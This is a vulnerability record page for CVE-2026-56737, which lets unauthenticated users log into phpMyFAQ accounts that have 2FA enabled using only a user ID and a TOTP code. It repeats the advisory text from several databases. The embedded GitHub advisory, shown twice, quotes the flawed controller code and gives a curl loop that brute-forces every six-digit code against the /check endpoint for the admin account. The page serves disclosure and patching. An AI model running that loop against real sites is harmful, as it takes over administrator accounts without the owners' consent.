CVE-2026-56737
phpMyFAQ's two-factor authentication login bypasses the password factor
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
phpMyFAQ's two-factor authentication login bypasses the password factor
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
- Record
CVE-2026-56737- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
EUVDEUVD-2026-85931
8.1
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
- Record
EUVD-2026-85931- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-8gpw-xvpf-hvx5
8.1
phpMyFAQ's two-factor authentication login bypasses the password factor
Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful…
- Record
GHSA-8gpw-xvpf-hvx5- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
NVD
8.1
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
- Record
CVE-2026-56737- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
OSV
8.1
phpMyFAQ's two-factor authentication login bypasses the password factor
phpMyFAQ is an open source FAQ web application. Versions 3.2.0 through 4.1.5 contain an authentication bypass in its public two-factor authentication verification flow: an unauthenticated attacker can submit an account’s numeric user ID and a valid or brute-forced six-digit TOTP code without first authenticating with the account password, allowing takeover of any 2FA-enabled account, including administrator accounts. Version 4.1.6 is patched by binding TOTP verification to a session established after successful password authentication and limiting failed TOTP attempts. No official workaround is documented; affected installations should upgrade to 4.1.6 or later.
- Record
CVE-2026-56737- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-07
OSVGHSA-8gpw-xvpf-hvx5
8.1
phpMyFAQ's two-factor authentication login bypasses the password factor
Summary
The public two-factor verification endpoint POST /check logs a user in based solely on a valid
6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior
successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker
can authenticate without knowing the password, reducing the account to a single factor (a 6-digit
code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an
authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.
Details
src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:
#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
if ($this->currentUser->isLoggedIn()) {
return new RedirectResponse(url: './');
}
$token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);
$userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);
if ($userId <= 0) { /* ... */ }
$this->currentUserService->getUserById($userId); // loads attacker-chosen user
if (strlen((string) $token) === 6) {
$result = $this->twoFactor->validateToken($token, $userId);
if ($result) {
$this->currentUserService->twoFactorSuccess(); // full login, no password ever checked
return new RedirectResponse(url: './');
}
}
// ...
}
twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):
public function twoFactorSuccess(): bool
{
$this->setLoggedIn(true);
$this->updateSessionId(true);
$this->saveToSession();
$this->setSuccess(true);
return true;
}
There is no server-side state (such as a "password already verified for this user" flag) tying the
/check step to the password step. Compare the admin flow, which does it correctly via a
2fa_pending_user_id session value set only after the password is validated
(src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend
omission is a regression, not an intended design.
validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret,
so this is not a universal bypass of all accounts — it specifically defeats the password factor of
every 2FA-enabled account:
public function validateToken(string $token, int $userId): bool
{
if (strlen($token) !== 6 || $userId <= 0) { return false; }
$this->currentUser->getUserById($userId);
$secret = $this->currentUser->getUserData('secret');
if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false
return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only
}
Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default
(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to
strengthen the password, becomes the only barrier and is independently guessable.
PoC
Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows
or enumerates the numeric user-id (1 = first/admin account in default installs).
# No password required. Submit user-id + a 6-digit TOTP guess to /check.
# Iterate the token space; the session cookie returned on success is an authenticated session.
for code in $(seq -w 0 999999); do
curl -ks -c jar.txt -b jar.txt \
-X POST "https://target/check" \
--data-urlencode "user-id=1" \
--data-urlencode "token=$(printf '%06d' 10#$code)" \
-o /dev/null -w "%{http_code} %{redirect_url}\n" \
| grep -q './' && echo "[+] logged in with token $code" && break
done
# A successful…
- Record
GHSA-8gpw-xvpf-hvx5- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-287
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
thorsten/phpmyfaqPackagist |
3.2.0 up to 4.1.6 | 4.1.6 |
phpmyfaq/phpmyfaqPackagist |
3.2.0 up to 4.1.6 | 4.1.6 |
thorsten/phpmyfaqPackagist |
3.2.0 up to 4.1.6, plus listed versions 3.2.13.2.103.2.23.2.33.2.4 Show 45 moreShow less3.2.53.2.63.2.73.2.83.2.94.0.04.0.0-RC4.0.0-RC.24.0.0-RC.34.0.0-RC.44.0.0-RC.54.0.0-alpha4.0.0-alpha.24.0.0-alpha.34.0.0-alpha.44.0.0-beta4.0.0-beta.24.0.14.0.104.0.114.0.124.0.134.0.144.0.154.0.164.0.184.0.194.0.24.0.34.0.44.0.54.0.64.0.74.0.84.0.94.1.04.1.0-RC4.1.0-RC.24.1.0-RC.44.1.0-RC.54.1.0-RC.64.1.0-RC.74.1.0-alpha4.1.0-alpha.24.1.0-alpha.3 |
4.1.6 |
phpmyfaq/phpmyfaqPackagist |
3.2.0 up to 4.1.6, plus listed versions 3.2.13.2.103.2.23.2.33.2.4 Show 45 moreShow less3.2.53.2.63.2.73.2.83.2.94.0.04.0.0-RC4.0.0-RC.24.0.0-RC.34.0.0-RC.44.0.0-RC.54.0.0-alpha4.0.0-alpha.24.0.0-alpha.34.0.0-alpha.44.0.0-beta4.0.0-beta.24.0.14.0.104.0.114.0.124.0.134.0.144.0.154.0.164.0.184.0.194.0.24.0.34.0.44.0.54.0.64.0.74.0.84.0.94.1.04.1.0-RC4.1.0-RC.24.1.0-RC.44.1.0-RC.54.1.0-RC.64.1.0-RC.74.1.0-alpha4.1.0-alpha.24.1.0-alpha.3 |
4.1.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-56737 is a high vulnerability (CVSS 8.1) in Thorsten Phpmyfaq, published September 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.53%, the 44th percentile. Fixed in thorsten/phpmyfaq 4.1.6.
References
github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5
github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f
github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a
github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be
nvd.nist.gov/vuln/detail/CVE-2026-56737
github.com/thorsten/phpMyFAQ/releases/tag/4.1.6
github.com/advisories/GHSA-8gpw-xvpf-hvx5
github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56737.json
github.com/thorsten/phpMyFAQ
Left out here: 14 versions and the rest of 2 source descriptions. The JSON record has them.